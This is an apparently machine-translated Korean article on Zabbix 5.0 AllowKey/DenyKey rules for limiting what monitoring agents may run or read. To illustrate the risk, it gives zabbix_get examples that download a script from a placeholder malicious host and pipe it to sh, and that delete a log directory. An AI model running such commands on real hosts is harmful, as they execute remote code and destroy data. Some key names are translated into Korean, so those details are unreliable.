Zabbix 5.0์˜ ์—์ด์ „ํŠธ ์ธก ์ธก์ •ํ•ญ๋ชฉ์— ๋Œ€ํ•œ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๋ฐ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์ง€์›

Zabbix 5.0์˜ ์—์ด์ „ํŠธ ์ธก ์ธก์ •ํ•ญ๋ชฉ์— ๋Œ€ํ•œ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๋ฐ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์ง€์›

์—์ด์ „ํŠธ ์ธก ๋ฉ”ํŠธ๋ฆญ์— ๋Œ€ํ•œ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๋ฐ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์ง€์›

ํ‹ฐ์ฝ˜ ์šฐ์Šค์ฝ”ํ”„, Zabbix ํ†ตํ•ฉ ์—”์ง€๋‹ˆ์–ด

๋ฐ์ดํ„ฐ ๋ณด์•ˆ ๋ฌธ์ œ

Zabbix 5.0์€ Zabbix Agent๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ์‹œ์Šคํ…œ์˜ ๋ณด์•ˆ์„ ๊ฐœ์„ ํ•˜๊ณ  ๊ธฐ์กด ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ๋Œ€์ฒดํ•˜๋Š” ์ƒˆ๋กœ์šด ๊ธฐ๋Šฅ์„ ๋„์ž…ํ•ฉ๋‹ˆ๋‹ค. ์›๊ฒฉ ๋ช…๋ น ํ™œ์„ฑํ™”.

์—์ด์ „ํŠธ ๊ธฐ๋ฐ˜ ์‹œ์Šคํ…œ์˜ ๋ณด์•ˆ์ด ํ–ฅ์ƒ๋œ ์ด์œ ๋Š” ์—์ด์ „ํŠธ๊ฐ€ ์ž ์žฌ์ ์œผ๋กœ ์œ„ํ—˜ํ•œ ์ž‘์—…์„ ๋‹ค์ˆ˜ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

  • ์—์ด์ „ํŠธ๋Š” ๊ตฌ์„ฑ ํŒŒ์ผ, ๋กœ๊ทธ ํŒŒ์ผ, ์•”ํ˜ธ ํŒŒ์ผ ๋˜๋Š” ๊ธฐํƒ€ ๋ชจ๋“  ํŒŒ์ผ์—์„œ ๊ธฐ๋ฐ€ ์ •๋ณด๋‚˜ ์ž ์žฌ์ ์œผ๋กœ ์œ„ํ—˜ํ•œ ์ •๋ณด๋ฅผ ํฌํ•จํ•œ ๊ฑฐ์˜ ๋ชจ๋“  ์ •๋ณด๋ฅผ ์ˆ˜์ง‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, zabbix_get ์œ ํ‹ธ๋ฆฌํ‹ฐ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์‚ฌ์šฉ์ž ๋ชฉ๋ก, ํ™ˆ ๋””๋ ‰ํ† ๋ฆฌ, ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์žˆ๋Š” ํŒŒ์ผ ๋“ฑ์— ์•ก์„ธ์Šคํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Zabbix 5.0์˜ ์—์ด์ „ํŠธ ์ธก ์ธก์ •ํ•ญ๋ชฉ์— ๋Œ€ํ•œ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๋ฐ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์ง€์›

zabbix_get ์œ ํ‹ธ๋ฆฌํ‹ฐ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฐ์ดํ„ฐ ์•ก์„ธ์Šค

์ฐธ๊ณ . ์—์ด์ „ํŠธ๊ฐ€ ํ•ด๋‹น ํŒŒ์ผ์— ๋Œ€ํ•œ ์ฝ๊ธฐ ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋Š” ๊ฒฝ์šฐ์—๋งŒ ๋ฐ์ดํ„ฐ๋ฅผ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.. ํ•˜์ง€๋งŒ ์˜ˆ๋ฅผ ๋“ค์–ด ํŒŒ์ผ /etc/passwd/ ๋ชจ๋“  ์‚ฌ์šฉ์ž๊ฐ€ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • ์—์ด์ „ํŠธ๋Š” ์ž ์žฌ์ ์œผ๋กœ ์œ„ํ—˜ํ•œ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ํ‚ค *์‹œ์Šคํ…œ.์‹คํ–‰[]** Zabbix ์›น ์ธํ„ฐํŽ˜์ด์Šค์—์„œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ์—์ด์ „ํŠธ ์ธก์—์„œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•˜์—ฌ ๋„คํŠธ์›Œํฌ ๋…ธ๋“œ์—์„œ ๋ชจ๋“  ์›๊ฒฉ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • ะ’ Linux ์—์ด์ „ํŠธ๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ๋ฃจํŠธ ๊ถŒํ•œ ์—†์ด ์‹คํ–‰๋˜์ง€๋งŒ, Windows Zabbix ์—์ด์ „ํŠธ๋Š” ์‹œ์Šคํ…œ ์ด๋ฆ„์œผ๋กœ ์„œ๋น„์Šค๋กœ ์‹คํ–‰๋˜๋ฉฐ ํŒŒ์ผ ์‹œ์Šคํ…œ์— ๋Œ€ํ•œ ๋ฌด์ œํ•œ ์•ก์„ธ์Šค ๊ถŒํ•œ์„ ๊ฐ–์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์„ค์น˜ ํ›„ Zabbix ์—์ด์ „ํŠธ ์„ค์ •์„ ๋ณ€๊ฒฝํ•˜์ง€ ์•Š๋Š” ํ•œ, ์—์ด์ „ํŠธ๋Š” ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ, ํŒŒ์ผ ์‹œ์Šคํ…œ์— ์•ก์„ธ์Šคํ•˜๊ณ  WMI ์ฟผ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด์ „ ๋ฒ„์ „์—์„œ๋Š” ๋งค๊ฐœ๋ณ€์ˆ˜ EnableRemoteCommands=0 * ํ‚ค๋กœ๋งŒ ๋ฉ”ํŠธ๋ฆญ ๋น„ํ™œ์„ฑํ™”๊ฐ€ ํ—ˆ์šฉ๋จ์‹œ์Šคํ…œ.์‹คํ–‰[]** ์›น ์ธํ„ฐํŽ˜์ด์Šค์—์„œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜๋Š” ์žˆ์ง€๋งŒ ๊ฐœ๋ณ„ ํŒŒ์ผ์— ๋Œ€ํ•œ ์•ก์„ธ์Šค๋ฅผ ์ œํ•œํ•˜๊ฑฐ๋‚˜, ์—์ด์ „ํŠธ์™€ ํ•จ๊ป˜ ์„ค์น˜๋œ ๊ฐœ๋ณ„ ํ‚ค๋ฅผ ํ—ˆ์šฉํ•˜๊ฑฐ๋‚˜ ๊ฑฐ๋ถ€ํ•˜๊ฑฐ๋‚˜, ๊ฐœ๋ณ„ ๋งค๊ฐœ๋ณ€์ˆ˜์˜ ์‚ฌ์šฉ์„ ์ œํ•œํ•  ๋ฐฉ๋ฒ•์ด ์—†์Šต๋‹ˆ๋‹ค.

Zabbix 5.0์˜ ์—์ด์ „ํŠธ ์ธก ์ธก์ •ํ•ญ๋ชฉ์— ๋Œ€ํ•œ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๋ฐ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์ง€์›

์ด์ „ ๋ฒ„์ „์˜ Zabbix์—์„œ EnableRemoteCommand ๋งค๊ฐœ๋ณ€์ˆ˜ ์‚ฌ์šฉ

AllowKey/DenyKey

Zabbix 5.0์€ ์—์ด์ „ํŠธ ์ธก์—์„œ ๋ฉ”ํŠธ๋ฆญ์„ ํ—ˆ์šฉํ•˜๊ฑฐ๋‚˜ ํ—ˆ์šฉํ•˜์ง€ ์•Š๋Š” ํ—ˆ์šฉ ๋ชฉ๋ก๊ณผ ์ฐจ๋‹จ ๋ชฉ๋ก์„ ํ†ตํ•ด ์ด๋Ÿฌํ•œ ๋ฌด๋‹จ ์•ก์„ธ์Šค๋ฅผ ๋ฐฉ์ง€ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค.

Zabbix 5.0์—์„œ๋Š” *๋ฅผ ํฌํ•จํ•œ ๋ชจ๋“  ํ‚ค์‹œ์Šคํ…œ.์‹คํ–‰[]**๊ฐ€ ํ™œ์„ฑํ™”๋˜์—ˆ์œผ๋ฉฐ ๋‘ ๊ฐœ์˜ ์ƒˆ๋กœ์šด ์—์ด์ „ํŠธ ๊ตฌ์„ฑ ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ ์ถ”๊ฐ€๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

ํ—ˆ์šฉํ‚ค= โ€” ํ—ˆ์šฉ๋œ ๊ฒ€์‚ฌ

DenyKey= - ๊ธˆ์ง€๋œ ๊ฒ€์‚ฌ

์—ฌ๊ธฐ์„œ ํ‚ค ์ด๋ฆ„๊ณผ ๋งค๊ฐœ๋ณ€์ˆ˜์˜ ํŒจํ„ด์€ ๋ฉ”ํƒ€๋ฌธ์ž(*)๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

AllowKey ๋ฐ DenyKey ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ํŠน์ • ํŒจํ„ด์— ๋”ฐ๋ผ ๊ฐœ๋ณ„ ๋ฉ”ํŠธ๋ฆญ์„ ํ—ˆ์šฉํ•˜๊ฑฐ๋‚˜ ๊ฑฐ๋ถ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ๊ตฌ์„ฑ ๋งค๊ฐœ๋ณ€์ˆ˜์™€ ๋‹ฌ๋ฆฌ AllowKey/DenyKey ๋งค๊ฐœ๋ณ€์ˆ˜์˜ ์ˆ˜๋Š” ์ œํ•œ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ๊ฒ€์‚ฌ ํŠธ๋ฆฌ(์‹คํ–‰ํ•  ํ‚ค)๋ฅผ ๋งŒ๋“ค์–ด ์‹œ์Šคํ…œ์—์„œ ์—์ด์ „ํŠธ๊ฐ€ ์ •ํ™•ํžˆ ๋ฌด์—‡์„ ํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ๋ช…ํ™•ํ•˜๊ฒŒ ์ •์˜ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์—ฌ๊ธฐ์„œ ํ‚ค๋ฅผ ์ž‘์„ฑํ•˜๋Š” ์ˆœ์„œ๋Š” ๋งค์šฐ ์ค‘์š”ํ•œ ์—ญํ• ์„ ํ•ฉ๋‹ˆ๋‹ค.

๊ทœ์น™์˜ ์ˆœ์„œ

๊ทœ์น™์€ ๊ตฌ์„ฑ ํŒŒ์ผ์— ์ž…๋ ฅ๋œ ์ˆœ์„œ๋Œ€๋กœ ํ™•์ธ๋ฉ๋‹ˆ๋‹ค. ์ฒซ ๋ฒˆ์งธ ์ผ์น˜ ํ•ญ๋ชฉ์ด ๋ฐœ๊ฒฌ๋  ๋•Œ๊นŒ์ง€ ํ‚ค๋ฅผ ๊ทœ์น™์— ๋”ฐ๋ผ ๊ฒ€์‚ฌํ•˜๊ณ , ๋ฐ์ดํ„ฐ ์š”์†Œ ํ‚ค๊ฐ€ ํŒจํ„ด๊ณผ ์ผ์น˜ํ•˜๋ฉด ์ฆ‰์‹œ ํ—ˆ์šฉ๋˜๊ฑฐ๋‚˜ ๊ฑฐ๋ถ€๋ฉ๋‹ˆ๋‹ค. ์ดํ›„, ๊ทœ์น™ ๊ฒ€์‚ฌ๋Š” ์ค‘์ง€๋˜๊ณ  ๋‚˜๋จธ์ง€ ํ‚ค๋Š” ๋ฌด์‹œ๋ฉ๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ ์š”์†Œ๊ฐ€ ํ—ˆ์šฉ ๊ทœ์น™๊ณผ ๊ฑฐ๋ถ€ ๊ทœ์น™ ๋ชจ๋‘์™€ ์ผ์น˜ํ•˜๋Š” ๊ฒฝ์šฐ ๊ฒฐ๊ณผ๋Š” ๊ตฌ์„ฑ ํŒŒ์ผ์—์„œ ์–ด๋А ๊ทœ์น™์ด ๋จผ์ € ๋‚˜์˜ค๋Š”์ง€์— ๋”ฐ๋ผ ๋‹ฌ๋ผ์ง‘๋‹ˆ๋‹ค.

Zabbix 5.0์˜ ์—์ด์ „ํŠธ ์ธก ์ธก์ •ํ•ญ๋ชฉ์— ๋Œ€ํ•œ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๋ฐ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์ง€์›

๋™์ผํ•œ ํŒจํ„ด๊ณผ ํ‚ค๋ฅผ ๊ฐ€์ง„ 2๊ฐœ์˜ ๋‹ค๋ฅธ ๊ทœ์น™ vfs.ํŒŒ์ผ.ํฌ๊ธฐ[/tmp/ํŒŒ์ผ]

AllowKey/DenyKey ํ‚ค ์‚ฌ์šฉ ์ˆœ์„œ:

  1. ์ •ํ™•ํ•œ ๊ทœ์น™,
  2. ์ผ๋ฐ˜ ๊ทœ์น™,
  3. ๊ธˆ์ง€ ๊ทœ์น™.

์˜ˆ๋ฅผ ๋“ค์–ด, ํŠน์ • ํด๋”์˜ ํŒŒ์ผ์— ์•ก์„ธ์Šคํ•ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ ๋จผ์ € ํ•ด๋‹น ํŒŒ์ผ์— ๋Œ€ํ•œ ์•ก์„ธ์Šค๋ฅผ ํ—ˆ์šฉํ•œ ๋‹ค์Œ, ์„ค์ •๋œ ๊ถŒํ•œ์— ํ•ด๋‹นํ•˜์ง€ ์•Š๋Š” ๋‹ค๋ฅธ ๋ชจ๋“  ์•ก์„ธ์Šค๋ฅผ ๊ฑฐ๋ถ€ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ฑฐ๋ถ€ ๊ทœ์น™์„ ๋จผ์ € ์‚ฌ์šฉํ•˜๋ฉด ํด๋”์— ๋Œ€ํ•œ ์•ก์„ธ์Šค๊ฐ€ ๊ฑฐ๋ถ€๋ฉ๋‹ˆ๋‹ค.

Zabbix 5.0์˜ ์—์ด์ „ํŠธ ์ธก ์ธก์ •ํ•ญ๋ชฉ์— ๋Œ€ํ•œ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๋ฐ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์ง€์›

์˜ฌ๋ฐ”๋ฅธ ์ˆœ์„œ

*๋ฅผ ํ†ตํ•ด 2๊ฐœ์˜ ์œ ํ‹ธ๋ฆฌํ‹ฐ๋ฅผ ์‹คํ–‰ํ•ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ์‹œ์Šคํ…œ.์‹คํ–‰[]**, ์ง€์ •๋œ ์ฒซ ๋ฒˆ์งธ ๊ทœ์น™์ด ๊ฑฐ๋ถ€ ๊ทœ์น™์ด๋ฉด ์ฒซ ๋ฒˆ์งธ ํŒจํ„ด์€ ํ•ญ์ƒ ๋ชจ๋“  ํ‚ค์™€ ์ผ์น˜ํ•˜๊ณ  ํ›„์† ๊ทœ์น™์€ ๋ฌด์‹œ๋˜๋ฏ€๋กœ ์œ ํ‹ธ๋ฆฌํ‹ฐ๊ฐ€ ์‹คํ–‰๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

Zabbix 5.0์˜ ์—์ด์ „ํŠธ ์ธก ์ธก์ •ํ•ญ๋ชฉ์— ๋Œ€ํ•œ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๋ฐ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์ง€์›

์ž˜๋ชป๋œ ์ˆœ์„œ

ํŒจํ„ด

๊ธฐ๋ณธ ๊ทœ์น™

ํŒจํ„ด์€ ์™€์ผ๋“œ์นด๋“œ ํ‘œํ˜„์‹์ž…๋‹ˆ๋‹ค. ์™€์ผ๋“œ์นด๋“œ(*)๋Š” ํŠน์ • ์œ„์น˜์— ์žˆ๋Š” ๋ชจ๋“  ๋ฌธ์ž์™€ ์ผ์น˜ํ•ฉ๋‹ˆ๋‹ค. ๋ฉ”ํƒ€๋ฌธ์ž๋Š” ํ‚ค ์ด๋ฆ„๊ณผ ๋งค๊ฐœ๋ณ€์ˆ˜ ๋ชจ๋‘์— ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ์ฒซ ๋ฒˆ์งธ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ํ…์ŠคํŠธ๋กœ ํ•˜๋“œ์ฝ”๋”ฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ๋‹ค์Œ์„ ์™€์ผ๋“œ์นด๋“œ๋กœ ์ง€์ •ํ•˜์„ธ์š”.

๋งค๊ฐœ๋ณ€์ˆ˜๋Š” ๋Œ€๊ด„ํ˜ธ []๋กœ ๋ฌถ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

  • system.run[* - ์ž˜๋ชป๋œ
  • vfs.file*.txt] - ์ž˜๋ชป๋œ
  • vfs.file.*[*] - ์˜ค๋ฅธ์ชฝ

์™€์ผ๋“œ์นด๋“œ ์‚ฌ์šฉ ์˜ˆ

  1. ํ‚ค ์ด๋ฆ„๊ณผ ๋งค๊ฐœ๋ณ€์ˆ˜์—. ์ด ๊ฒฝ์šฐ, ํŒจํ„ด์—์„œ ํ‚ค ์ด๋ฆ„์˜ ํŠน์ • ๋๋ถ€๋ถ„๊ณผ ํŠน์ • ๋งค๊ฐœ๋ณ€์ˆ˜ ์„ธํŠธ๋ฅผ ๊ฐ€์ ธ์˜ค๊ณ  ์‹ถ๋‹ค๊ณ  ์ง€์ •ํ–ˆ๊ธฐ ๋•Œ๋ฌธ์— ํ‚ค๋Š” ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ํฌํ•จํ•˜์ง€ ์•Š๋Š” ์œ ์‚ฌํ•œ ํ‚ค์™€ ์ผ์น˜ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  2. ํŒจํ„ด์— ๋Œ€๊ด„ํ˜ธ๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š์œผ๋ฉด ํŒจํ„ด์€ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ํฌํ•จํ•˜์ง€ ์•Š๋Š” ๋ชจ๋“  ํ‚ค๋ฅผ ํ—ˆ์šฉํ•˜๊ณ  ์ง€์ •๋œ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ํฌํ•จํ•˜๋Š” ๋ชจ๋“  ํ‚ค๋ฅผ ํ—ˆ์šฉํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  3. ํ‚ค๊ฐ€ ์ „์ฒด์ ์œผ๋กœ ์ž‘์„ฑ๋˜๊ณ  ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ ์™€์ผ๋“œ์นด๋“œ๋กœ ์ง€์ •๋œ ๊ฒฝ์šฐ, ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ ์žˆ๋Š” ๋ชจ๋“  ์œ ์‚ฌํ•œ ํ‚ค์™€ ์ผ์น˜ํ•˜๋ฉฐ, ๋Œ€๊ด„ํ˜ธ๊ฐ€ ์—†๋Š” ํ‚ค์™€๋Š” ์ผ์น˜ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ฆ‰, ํ—ˆ์šฉ๋˜๊ฑฐ๋‚˜ ๊ฑฐ๋ถ€๋ฉ๋‹ˆ๋‹ค.

Zabbix 5.0์˜ ์—์ด์ „ํŠธ ์ธก ์ธก์ •ํ•ญ๋ชฉ์— ๋Œ€ํ•œ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๋ฐ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์ง€์›

๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ฑ„์šฐ๊ธฐ ์œ„ํ•œ ๊ทœ์น™.

  • ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ ์žˆ๋Š” ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜๋ ค๋Š” ๊ฒฝ์šฐ, ๊ตฌ์„ฑ ํŒŒ์ผ์—์„œ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ง€์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋งค๊ฐœ๋ณ€์ˆ˜๋Š” ๋ฉ”ํƒ€๋ฌธ์ž๋กœ ์ง€์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋ชจ๋“  ํŒŒ์ผ์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ์‹ ์ค‘ํ•˜๊ฒŒ ๊ธˆ์ง€ํ•˜๊ณ , ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ ์žˆ๋Š” ๊ฒฝ์šฐ์™€ ์—†๋Š” ๊ฒฝ์šฐ ๋“ฑ ๋‹ค์–‘ํ•œ ์“ฐ๊ธฐ ์˜ต์…˜์— ๋”ฐ๋ผ ๋ฉ”ํŠธ๋ฆญ์ด ์ œ๊ณตํ•  ์ˆ˜ ์žˆ๋Š” ์ •๋ณด๋ฅผ ๊ณ ๋ คํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

Zabbix 5.0์˜ ์—์ด์ „ํŠธ ์ธก ์ธก์ •ํ•ญ๋ชฉ์— ๋Œ€ํ•œ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๋ฐ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์ง€์›

๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ‚ค๋ฅผ ์ž‘์„ฑํ•˜๋Š” ๊ธฐ๋Šฅ

  • ํ‚ค๊ฐ€ ๋งค๊ฐœ๋ณ€์ˆ˜์™€ ํ•จ๊ป˜ ์ง€์ •๋˜์—ˆ์ง€๋งŒ ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ ์„ ํƒ ์‚ฌํ•ญ์ด๊ณ  ๋ฉ”ํƒ€๋ฌธ์ž๋กœ ์ง€์ •๋œ ๊ฒฝ์šฐ ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ ์—†๋Š” ํ‚ค๋„ ํ—ˆ์šฉ๋ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, CPU ๋ถ€ํ•˜ ์ •๋ณด ์ˆ˜์‹ ์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๊ณ  system.cpu.load[*] ํ‚ค๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜๋„๋ก ์ง€์ •ํ•˜๋ ค๋Š” ๊ฒฝ์šฐ ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ ์—†๋Š” ํ‚ค๋Š” ํ‰๊ท  ๋ถ€ํ•˜ ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•œ๋‹ค๋Š” ์ ์„ ๊ธฐ์–ตํ•˜์„ธ์š”.

Zabbix 5.0์˜ ์—์ด์ „ํŠธ ์ธก ์ธก์ •ํ•ญ๋ชฉ์— ๋Œ€ํ•œ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๋ฐ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์ง€์›

๋งค๊ฐœ๋ณ€์ˆ˜ ์ฑ„์šฐ๊ธฐ ๊ทœ์น™

์ฐธ๊ณ 

์กฐ์ •

  • ๊ฒ€์ƒ‰ ๊ทœ์น™์ด๋‚˜ ์—์ด์ „ํŠธ ์ž๋™ ๋“ฑ๋ก๊ณผ ๊ฐ™์€ ์ผ๋ถ€ ๊ทœ์น™์€ ์‚ฌ์šฉ์ž๊ฐ€ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. AllowKey/DenyKey ๊ทœ์น™์€ ๋‹ค์Œ ๋งค๊ฐœ๋ณ€์ˆ˜์— ์˜ํ–ฅ์„ ๋ฏธ์น˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
    โ€” ํ˜ธ์ŠคํŠธ ์ด๋ฆ„ ํ•ญ๋ชฉ
    โ€” ํ˜ธ์ŠคํŠธ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ ํ•ญ๋ชฉ
    โ€” ํ˜ธ์ŠคํŠธ ์ธํ„ฐํŽ˜์ด์Šค ํ•ญ๋ชฉ

์ฐธ๊ณ . ๊ด€๋ฆฌ์ž๊ฐ€ ํ‚ค๋ฅผ ๊ธˆ์ง€ํ•˜๋Š” ๊ฒฝ์šฐ Zabbix๋Š” ๋ฉ”ํŠธ๋ฆญ ๋˜๋Š” ํ‚ค๊ฐ€ '์— ์†ํ•˜๋Š” ์ด์œ '์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์ œ๊ณตํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.์ง€์›๋˜์ง€ ์•Š์Œ'. ์—์ด์ „ํŠธ ๋กœ๊ทธ ํŒŒ์ผ์—๋Š” ์›๊ฒฉ ๋ช…๋ น ์‹คํ–‰ ๊ธˆ์ง€ ์‚ฌํ•ญ์— ๋Œ€ํ•œ ์ •๋ณด๋„ ํ‘œ์‹œ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋ณด์•ˆ์ƒ์˜ ์ด์œ ๋กœ ์ˆ˜ํ–‰๋˜์ง€๋งŒ, ์–ด๋–ค ์ด์œ ๋กœ๋“  ๋ฉ”ํŠธ๋ฆญ์ด ์ง€์›๋˜์ง€ ์•Š๋Š” ๋ฒ”์ฃผ์— ์†ํ•˜๋Š” ๊ฒฝ์šฐ ๋””๋ฒ„๊น…์ด ๋” ์–ด๋ ค์›Œ์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค..

  • ์™ธ๋ถ€ ๊ตฌ์„ฑ ํŒŒ์ผ์„ ์—ฐ๊ฒฐํ•  ๋•Œ ํŠน์ • ์ˆœ์„œ(์˜ˆ: ์•ŒํŒŒ๋ฒณ์ˆœ)์— ์˜์กดํ•ด์„œ๋Š” ์•ˆ ๋ฉ๋‹ˆ๋‹ค.

๋ช…๋ น์ค„ ์œ ํ‹ธ๋ฆฌํ‹ฐ

๊ทœ์น™์„ ์„ค์ •ํ•œ ํ›„์—๋Š” ๋ชจ๋“  ๊ฒƒ์ด ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์„ค์ •๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๋‹ค์Œ ์„ธ ๊ฐ€์ง€ ์˜ต์…˜ ์ค‘ ํ•˜๋‚˜๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • Zabbix์— ๋ฉ”ํŠธ๋ฆญ์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
  • ํ…Œ์ŠคํŠธ ์ž๋น…์Šค ์—์ด์ „ํŠธ. ์˜ต์…˜์ด ์žˆ๋Š” Zabbix ์—์ด์ „ํŠธ -์ธ์‡„(-p) ๊ตฌ์„ฑ์—์„œ ํ—ˆ์šฉ๋˜์ง€ ์•Š์€ ํ‚ค๋ฅผ ์ œ์™ธํ•œ ๋ชจ๋“  ํ‚ค(๊ธฐ๋ณธ์ ์œผ๋กœ ํ—ˆ์šฉ๋จ)๋ฅผ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์˜ต์…˜์œผ๋กœ -ํ…Œ์ŠคํŠธ(-t) ๊ธˆ์ง€๋œ ํ‚ค๋Š” '๋กœ ๋ฐ˜ํ™˜๋ฉ๋‹ˆ๋‹ค.์ง€์›๋˜์ง€ ์•Š๋Š” ํ•ญ๋ชฉ ํ‚ค'.
  • ํ…Œ์ŠคํŠธ zabbix_get. ๊ณต์ต์‚ฌ์—… zabbix_get ์˜ต์…˜ ํฌํ•จ -k ๋Œ์•„์˜ฌ ๊ฒƒ์ด๋‹ค 'ZBX_NOTSUPPORTED: ์•Œ ์ˆ˜ ์—†๋Š” ๋ฉ”ํŠธ๋ฆญ'.

ํ—ˆ์šฉ ๋˜๋Š” ๊ฑฐ๋ถ€

